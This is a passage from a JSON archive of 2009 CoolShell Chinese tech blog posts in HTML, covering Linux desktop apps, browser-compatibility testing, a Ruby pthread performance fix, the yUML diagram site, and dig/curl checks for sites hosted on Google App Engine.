Frankie!</span></a> 这个游戏可以展示你的Linux在游戏方面比起别的操作系统来说也是非常有能力的。</p>\n<p>而<a href=\"http://www.hedgewars.org/\"><span style=\"color: #000000;\">Hedgewars</span></a> 游戏则相当搞笑的。如果你和几个有一些联网的话，这个游戏也是非常搞笑的。</p>\n<p> <a href=\"http://www.frozen-bubble.org/\"><span style=\"color: #000000;\">Frozen Bubble</span></a> 可能是另一个有些意思的游戏。你可以去试试。</p>\n<p> <br/>\n<a href=\"http://lunduke.com/wp-content/uploads/2009/05/empathy-chat-theme.png\"><img alt=\"empathy-chat-theme\" class=\"alignright size-medium wp-image-644\" height=\"245\" src=\"../wp-content/uploads/2009/05/empathy-chat-theme-300x245.png\" title=\"empathy-chat-theme\" width=\"300\"/></a></p>\n<h2><strong>聊天</strong></h2>\n<p>这个领域绝对不是 <a href=\"http://www.pidgin.im/\"><span style=\"color: #000000;\">Pidgin</span></a>.  Pidgin 已经出局了。</p>\n<p>如果是 <a href=\"http://live.gnome.org/Empathy\"><span style=\"color: #000000;\">Empathy</span></a>，它有更好一些的设计。</p>\n<p>那么，音频和视频聊天呢？</p>\n<p><a href=\"http://www.gnomemeeting.org/\"><span style=\"color: #000000;\">Ekiga</span></a>吗？  不是.</p>\n<p><a href=\"http://www.skype.com/\"><span style=\"color: #000000;\">Skype</span></a>吗？</p>\n<p>你说什么？Skype没有开源啊。是的，我们知道，不过Skype是其中表现最为出色的。而且，其用户群是非常大的。包括和电话互联，以及便宜的国际长途。</p>\n<h2><strong>浏览器</strong></h2>\n<p><a href=\"http://www.mozilla.com/firefox/\"><span style=\"color: #000000;\">Firefox</span></a>，不是吗？不用多解释了吧。</p>\n<p> </p>\n<h2><strong>电子邮件</strong></h2>\n<p><a href=\"http://projects.gnome.org/evolution/\"><span style=\"color: #000000;\">Evolution</span></a> 并不仅仅是漂亮。它也可以和Gnome桌面集成。</p>\n<h2><strong>开发环境</strong></h2>\n<p>Windows 程序员有 <a href=\"http://en.wikipedia.org/wiki/Microsoft_Visual_Studio\"><span style=\"color: #000000;\">Visual Studio</span></a>.  Mac 程序员有 <a href=\"http://en.wikipedia.org/wiki/Xcode\"><span style=\"color: #000000;\">XCode</span></a>.</p>\n<p>当然，Linux下也有很多。挑选一个很不错的开发环境，我们当然需要有一些标准的规则。有一个“标准”是，开发工具应该是和操作系统紧密结合的，而且需要有一堆可用的工具，这样可以避免程序员再重新发明轮子。</p>\n<p><a href=\"http://lunduke.com/wp-content/uploads/2009/05/ss-stetic.png\"><img alt=\"ss-stetic\" class=\"alignright size-medium wp-image-646\" height=\"216\" src=\"../wp-content/uploads/2009/05/ss-stetic-300x216.png\" title=\"ss-stetic\" width=\"300\"/></a>Linux下有太多这样的开发工具了。  <a href=\"http://en.wikipedia.org/wiki/Qt_Creator\"><span style=\"color: #000000;\">QT Creator</span></a> 可能是其中最好的，但是它只能在 Gnome 桌面环境下使用。</p>\n<p>那么，最容易得到和有丰富功能的IDE又是什么呢？</p>\n<p><a href=\"http://monodevelop.com/\"><span style=\"color: #000000;\">MonoDevelop</span></a>.</p>\n<p>是的， 我知道有人说过 “Mono is bad cuz of teh Microsoft.” 不过，如果你确实地相信这句话，那么你自然也就不是一个专业的程序员，而且，你可能在很多地方都在焦虑着一些事情。</p>\n<p>MonoDevelop 是一个很不错的IDE开发工具。希望你能试试。</p>\n<p>文章：<a href=\"http://lunduke.com/?p=616\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/936.html\">最完美的Linux桌面软件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-4 如何检查网页浏览器的兼容性.html",
    "content": "<html><body><p><a href=\"http://browsershots.org/\" target=\"_blank\">BrowserShots.org</a> 是一个很不错的在线服务，它主要帮助你检查一下你所设计网站是否兼容所有的浏览器。其目前支持四个操作系统：Linux, Windows, MacOS和BSD。浏览器支持的就多了：包括MSIE，Firefox，Chrome，Safari，Opera，Dillo，SeaMonkey，Navigator等等浏览器的不同版本。</p>\n<p>使用这个在线服务其实很简单，只需要输入你的网址，并勾选一下各种浏览器。当然，你还可以指定分辨率，色彩度，Javascript，Java和Flash的版本。然后，这个网站会利用虚拟机的技术，启动操作系统然后运行相应的浏览器访问你的网站，并把图抓下来上传到你可以访问的位置以例提供你下载。</p>\n<p>需要注意的是，如果你选中了太多的浏览器，可能整个速度就有些慢了，而系统设置是30分钟过期，而可能有很多浏览器的任务却高于这个时间。所以，你需要过会就去点击一下“Extend”按钮，以告诉系统延长过期时间。</p>\n<p>下面是“酷壳”的一些抓图链接如下：<br/>\n<a href=\"http://browsershots.org/https://coolshell.cn/\">http://browsershots.org/https://coolshell.cn/</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12206.html\"><img alt=\"HTML6 展望\" height=\"150\" src=\"../wp-content/uploads/2014/12/html6-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/757.html\">如何检查网页浏览器的兼容性</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-5 让Ruby增加30%的性能改进.html",
    "content": "<html><body><p></p>\n<h4>一切都和 <code>--enable-pthread</code> 有关</h4>\n<p>问一下 Ruby 黑客怎么简单地增加一个线程的Ruby应用程序的性能。也许，这些黑客会告诉你，“<strong>小伙，每个人都知道在编译Ruby的时候你需要使用<code>configure</code> 的 <code>--disable-pthread</code>参数</strong>”。没错，在<code>configure</code> <code>--disable-pthread</code> 可以让你得到大约 30% 性能提高。但是，这是为什么呢？</p>\n<p>所有的这一些我们需要使用 <a href=\"http://timetobleed.com/hello-world/\">strace</a> 工具，这个工具可以打出所有的真实的操作系统的调用。</p>\n<p>下面，是一段我们测试的例程：</p>\n<p><span id=\"more-766\"></span></p>\n<pre class=\"EnlighterJSRAW\">\ndef make_thread\n  Thread.new {\n    a = []\n    10_000_000.times {\n      a &lt;&lt; \"a\"\n      a.pop\n    }\n  }\nend\n\nt = make_thread\nt1 = make_thread\n\nt.join\nt1.join\n</pre>\n<p>如果我们使用 <code>strace</code> 工具去测试 <code>configure</code> <code>--enable-pthread</code> 版本的Ruby引擎，那么我们可以得到下面这样的结果：</p>\n<pre class=\"EnlighterJSRAW\">\n22:46:16.706136 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 &lt;0.000004&gt;\n22:46:16.706177 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 &lt;0.000004&gt;\n22:46:16.706218 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 &lt;0.000004&gt;\n22:46:16.706259 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 &lt;0.000005&gt;\n22:46:16.706301 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 &lt;0.000004&gt;\n22:46:16.706342 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 &lt;0.000004&gt;\n22:46:16.706383 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 &lt;0.000004&gt;\n</pre>\n<p>你会发现上面的sigprocmask 系统调用一页一页又一页地没完没了的。如果你用 <code>strace -c，你会发现</code>一共大约<strong>20,054,180</strong> 个<code>sigprocmask系统调用<span style=\"font-family: Georgia;\">。但是，如果你是在</span></code><code>--disable-pthread</code> 的Ruby版本下运行，你会发现根本没有那么多的<code>sigprocmask</code> 系统调用（只有 <strong>3</strong> 次，简直就是<strong>天壤之别</strong>）</p>\n<h4>查看一下源代码</h4>\n<p>我们知道 <code>configure</code> 是一个脚本，其主要用来创建一个 <code>config.h</code> 文件，其中有一大堆宏定义 <code>define</code>s ，这些宏定义决定了使用什么样的函数。所以，让我们来比较一下版本 <code>./configure --enable-pthread</code> 和版本<code>./configure --disable-pthread的不同之处吧。</code></p>\n<pre class=\"EnlighterJSRAW\">\n$ diff config.h config.h.pthread\n&gt; #define _REENTRANT 1\n&gt; #define _THREAD_SAFE 1\n&gt; #define HAVE_LIBPTHREAD 1\n&gt; #define HAVE_NANOSLEEP 1\n&gt; #define HAVE_GETCONTEXT 1\n&gt; #define HAVE_SETCONTEXT 1\n</pre>\n<p>好的，现在我们再 <code>grep</code> 一下Ruby的源代码，我们可以看到只要<code>HAVE_[S/G]ETCONTEXT</code> 被设置了，Ruby 就会调用<code>setcontext()</code> 和<code>getcontext()</code> 这两个系统调用来存取context 的状态，以便异常处理时的切换（通过<code>EXEC_TAG）。</code></p>\n<p>而如果 <code>HAVE_[S/G]ETCONTEXT</code> <strong>没有被定义</strong> <code>的情况下，</code>Ruby 会使用 <code>_setjmp/_longjmp这两个系统调用。</code></p>\n<div><code>我们来看看 <code>_setjmp/_longjmp</code> 的man page:</code></div>\n<blockquote><p>… The _longjmp() and _setjmp() functions shall be equivalent to longjmp() and setjmp(), respectively, with the additional restriction that _longjmp() and _setjmp() shall not manipulate the signal mask…</p></blockquote>\n<p>还有<code>setcontext /getcontext的</code> man page:</p>\n<blockquote><p>… uc_sigmask is the set of signals blocked in this context (see sigprocmask(2)) …</p></blockquote>\n<p>我们可以看到 <code>getcontext</code> 调用每次都要调用<code>sigprocmask</code> 但是<code>_setjmp</code> 不会。</p>\n<h4>补丁</h4>\n<p>请点击 <strong><a href=\"http://github.com/ice799/matzruby/commit/0b9b69f9653782a33aee2b8937d405eae245b60c\" target=\"_blank\">这里</a></strong>获取补丁</p>\n<p>这个补丁增加了一个configure 的参数 <code>--disable-ucontext</code> 其可以让你关闭使用 <code>setcontext或getcontext，你只需要像如下方式使用就好了。</code></p>\n<pre class=\"EnlighterJSRAW\">\n./configure --disable-ucontext --enable-pthread\n</pre>\n<p>如果你以这种方式编译Ruby，那么，你的程序的性能在同等条件下可能会有30%左右的提升。</p>\n<p>文章：<a href=\"http://timetobleed.com/fix-a-bug-in-rubys-configurein-and-get-a-30-performance-boost/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22242.html\"><img alt=\"ETCD的内存问题\" height=\"150\" src=\"../wp-content/uploads/2022/05/etcd-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22242.html\">ETCD的内存问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17381.html\"><img alt=\"性能测试应该怎么做？\" height=\"150\" src=\"../wp-content/uploads/2016/07/PerfTest-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17381.html\">性能测试应该怎么做？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10910.html\"><img alt=\"分布式系统的事务处理\" height=\"150\" src=\"../wp-content/uploads/2014/01/trade-off-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10910.html\">分布式系统的事务处理</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/766.html\">让Ruby增加30%的性能改进</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-6 一个在线的画UML图的网站.html",
    "content": "<html><body><p></p>\n<p style=\"TEXT-ALIGN: center;\"><a href=\"http://yuml.me/\"><img alt=\"yUML\" class=\"alignnone size-full wp-image-777\" height=\"123\" src=\"../wp-content/uploads/2009/05/yuml.jpg\" title=\"yUML.me\" width=\"245\"/></a></p>\n<p style=\"TEXT-ALIGN: center;\"><a href=\"http://yuml.me/\">http://yuml.me/</a></p>\n<p style=\"TEXT-ALIGN: left;\">这个网站可以允许你在线地，通过一些UML的语法，生成相应的图片。</p>\n<p style=\"TEXT-ALIGN: left;\">比如，如果你输入：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;img src=\"http://yuml.me/diagram/class/[Customer]1-0..*[Address]\"/&gt;\n</pre>\n<p><span id=\"more-776\"></span><br/>\n那么，你就可以得到下面的图片：</p>\n<p style=\"TEXT-ALIGN: center;\"><img alt=\"\" src=\"http://yuml.me/diagram/class/[Customer]1-0..*[Address]\"/></p>\n<p style=\"TEXT-ALIGN: left;\">如果，我们输入：</p>\n<p style=\"TEXT-ALIGN: left;\">\n</p><pre class=\"EnlighterJSRAW\">\n&lt;img src=\"http://yuml.me/diagram/class/\n[User|+Forename+;Surname;+HashedPassword;-Salt|+Login();+Logout()]\" alt=\"\" /&gt;\n</pre>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"http://yuml.me/diagram/class/[User|+Forename+;Surname;+HashedPassword;-Salt|+Login();+Logout()]\"/></p>\n<p style=\"text-align: left;\"> </p>\n<p style=\"text-align: left;\">还有Use Case：</p>\n<p style=\"text-align: left;\">\n</p><pre class=\"EnlighterJSRAW\">\n&lt;img src=\"http://yuml.me/diagram/usecase/[Customer]-(Login), [Customer]-(Logout)\"/&gt;\n</pre>\n<p style=\"text-align: center;\"><img alt=\"\" src=\"http://yuml.me/diagram/usecase/[Customer]-(Login), [Customer]-(Logout)\"/></p>\n<p style=\"text-align: left;\">还是挺不错的吧，呵呵。大家可以上去试试。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3609.html\"><img alt=\"那些炒作过度的技术和概念\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3609.html\">那些炒作过度的技术和概念</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2296.html\"><img alt=\"Google居然在阻止人们自杀？\" height=\"150\" src=\"../wp-content/uploads/2010/04/googleOnebox-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2296.html\">Google居然在阻止人们自杀？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1992.html\"><img alt=\"程序员眼中的编程语言\" height=\"150\" src=\"../wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1992.html\">程序员眼中的编程语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8489.html\"><img alt=\"Go 语言简介（下）— 特性\" height=\"150\" src=\"../wp-content/uploads/2012/11/google-go-language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8489.html\">Go 语言简介（下）— 特性</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1283.html\"><img alt=\"Linux基金会的广告\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1283.html\">Linux基金会的广告</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1839.html\"><img alt=\"编程语言汽车\" height=\"150\" src=\"../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1839.html\">编程语言汽车</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/776.html\">一个在线的画UML图的网站</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-6 如何知道某网站运行在GAE上.html",
    "content": "<html><body><p>GAE就是<a href=\"http://code.google.com/appengine/\" target=\"_blank\">Google Application Engine</a>，通过Alexa的网站排名系统，我们可以知道Top 10的使用GAE的网站，他们是：（截止至今天）</p>\n<li>1. <a href=\"http://www.robtex.com/\">www.robtex.com</a> (Alexa rank: 1691)</li>\n<li>2. <a href=\"http://www.twibes.com/\">www.twibes.com</a> (Alexa rank: 13143)</li>\n<li>3. <a href=\"http://www.acid-play.com/\">www.acid-play.com</a> (Alexa rank: 25884)</li>\n<li>4. <a href=\"http://www.jaiku.com/\">www.jaiku.com</a> (Alexa rank: 29061)</li>\n<li>5. <a href=\"http://www.wordle.net/\">www.wordle.net</a> (Alexa rank: 34022)</li>\n<li>6. <a href=\"http://www.twazzup.com/\">www.twazzup.com</a> (Alexa rank: 40910)</li>\n<li>7. <a href=\"http://www.twollo.com/\">www.twollo.com</a> (Alexa rank: 41414)</li>\n<li>8. <a href=\"http://www.downforeveryoneorjustme.com/\">www.downforeveryoneorjustme.com</a> (Alexa rank: 41718)</li>\n<li>9. <a href=\"http://www.chromeexperiments.com/\">www.chromeexperiments.com</a> (Alexa rank: 49899)</li>\n<li>10. <a href=\"http://www.desktop-reporting.com/\">www.desktop-reporting.com</a> (Alexa rank: 51447)</li>\n<p>那么，我们如何才能知道一个网站是运行在GAE上的呢？</p>\n<p><span id=\"more-780\"></span></p>\n<p>如果一个网站运行在GAE上，那么其会有如下三个事情会为真：</p>\n<ul>\n<li>网站的 别名记录（CNAME）会 指向ghs.google.com， ghs.l.google.com 或者appspot.l.google.com 。</li>\n<li>访问网站的/form 路径会返回Google风格的404 错误页。</li>\n<li>网站的”Server”标题会是 “Google Frontend”</li>\n</ul>\n<p>测试这三个条件并不难，在Linux下，我们可以用这样的命令行检查：</p>\n<p><code><strong>有google.com字样的CNAME</strong><br/>\n  dig www.example.com cname | egrep -i 'cname.*google.com'</code></p>\n<p><code><strong>Google 404 错误for /form:</strong><br/>\n  curl -s -D - http://www.example.com/form | egrep 'G.*o.*o.*g.*l.*e'</code></p>\n<p><code><strong>\"Google Frontend\" 字符串<br/>\n</strong></code><code>  curl -s -D - http://www.example.com/ | egrep '^Server:'</code></p>\n<p>请注意，头两个条件在一些时候对于运行在Blogspot 的主机也是成立的，估计Blogspot就是运行在GAE上的一个站点。但第三个条件就不一样了。GAE上的是”Google Frontend”，而 Blogspot上的则是 “GFE/2.0″。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5701.html\"><img alt=\"SteveY对Amazon和Google平台的吐槽\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5701.html\">SteveY对Amazon和Google平台的吐槽</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li></ul></div></div>The post <a 